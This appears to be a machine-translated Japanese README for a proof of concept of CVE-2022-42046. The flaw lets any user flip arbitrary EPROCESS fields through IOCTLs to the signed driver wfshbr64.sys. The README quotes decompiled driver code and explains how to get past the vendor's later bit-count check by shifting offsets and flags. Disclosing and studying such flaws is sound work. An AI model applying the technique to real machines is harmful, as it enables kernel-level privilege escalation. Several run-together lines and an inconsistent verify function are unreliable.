
CVE-2022-42046 の PoC、wfshbr64.sys の DKOM によるローカル特権昇格
CVE-2022-42046 wfshbr64.sys ローカル特権昇格の概念実証
wfshbr64.sys および wfshbr32.sys の特別に細工されたペイロードにより、任意のユーザーが任意の EPROCESS オフセットとフラグ値に対してビット演算を実行し、EPROCESS.Protection および EPROCESS.SignatureLevel フラグを操作することでゲームプロセスを意図的に CodeGen Full 保護に昇格させることができます(機能としてのセキュリティホール)。
このドライバーは、Microsoft Hardware Program を通じて提出された Microsoft ハードウェア互換性パブリッシャーによって署名されています。
このプロジェクトは @DoranekoSystems との共同研究です。
MIT。 LICENSE を参照してください。
ObRegisterCallbacks を使用してください。良い例が こちら にあります。完了後に IRP を参照しないでください。ドライバー検証ツールを有効にしていると、捕捉されます。
IofCompleteRequest(Irp, IO_NO_INCREMENT); // ここで IRP は解放される
return Irp->IoStatus.Status;
代わりにローカル変数を使用する必要があります。
NTSTATUS status = STATUS_SUCCESS;
Irp->IoStatus.Status = status;
IofCompleteRequest(Irp, IO_NO_INCREMENT); // ここで IRP は解放される
return status;
IoGetCurrentProcess の戻り値に対して NULL ポインタチェックを行っているように見えますが、設計上決して NULL を返さないため、チェックする必要はありません。
PEPROCESS CurrentProcess = IoGetCurrentProcess();
if ( !CurrentProcess ) // NULL ポインタチェックは不要
break;
報告後しばらくして、開発者はセキュリティホールを機能として残すことをやめる代わりに、最初の概念実証を無効化するための巧妙な「追加検証」を実装しました。
以下の箇所にチェックが追加されました。
IOCTL_WFSHBR_REMOVE_FLAGIOCTL_WFSHBR_ADD_FLAGIOCTL_WFSHBR_AND_FLAGcase IOCTL_WFSHBR_ADD_FLAG: // 0xAA013884
if ( !KwfsVerifyCaller(Buffer) ) // 呼び出し元を検証
break;
- if ( Buffer->ArbitraryEProcessOffset >= 0x1000 ) // オフセット制限チェック
+ if ( !KwfsVerifyOffsetAndFlags(Buffer->ArbitraryEProcessOffset,
+ Buffer->DesiredFlags) ) // オフセットとフラグを検証
break;
*(ULONG*)(IoGetCurrentProcess() + Buffer->ArbitraryEProcessOffset) |= Buffer->DesiredFlags;
このルーチンは、クライアントが EPROCESS の変更を要求するたびに呼び出されるように設計されており、この概念実証では ArbitraryEProcessOffset フィールドで指定されたオフセット、および DesiredFlags フィールドで指定されたフラグの検証を実行します。
検証は非常に単純で、指定されたフラグの全ビットフィールド内の 1 のビット数をカウントし、その数が 8 より大きい場合に失敗します。
可能なフラグパターンマップは次の 4 つのみです。
22 00 00 0000 22 00 0000 00 22 0000 00 00 22つまり、以下の操作を 4 回実行することで、少なくとも 1 回の試行が成功することが保証されます。
ArbitraryEProcessOffset フィールドをインデックス分減算: offset - indexDesiredFlags フィールドのビットをインデックス分調整: flag << (index * 8)オフセットが減少するため、ビットフィールドの調整によりビット演算子内でオフセットが調整されます。
*(ULONG*)(IoGetCurrentProcess() + offset) |= flags;
*(ULONG*)(IoGetCurrentProcess() + offset) &= ~flags;
試行を実行し、新しいトリックを無効化するために、WfsProtectProcessSupreme および WfsUnprotectProcessSupreme 関数を追加しました。
enum KwfsState {
KwfsStateOnceCall = 0,
KwfsStateNeedsValueEquality = 1,
KwfsStateValueHasBeenSet = 2,
};
bool KwfsVerifyOffsetAndFlags(_In_ ULONG offset, _In_ ULONG flags)
{
if (KwfsState::KwfsState == KwfsState::KwfsStateOnceCall) {
g_KwfsVerifyState = KwfsState::KwfsStateValueHasBeenSet;
g_KwfsVerifyStateOffset = offset;
g_KwfsVerifyStateFlags = flags;
if (offset < 0x1000) { // オフセット制限チェックをここに移動
auto bitcount = 0;
for (auto i = 0; i < 32; ++i) { // フラグ内の '1' のビットをカウント
if (flags & (1 << i)) {
++bitcount;
}
}
if (bitcount <= 8) { // カウントは 8 以下でなければならない
g_KwfsVerifyState = 1;
return true;
}
}
}
else
{
if (g_KwfsVerifyState != KwfsState::KwfsStateValueHasBeenSet
|| offset != g_KwfsVerifyStateOffset
|| flags != g_KwfsVerifyStateFlags) {
return false;
}
}
return false;
}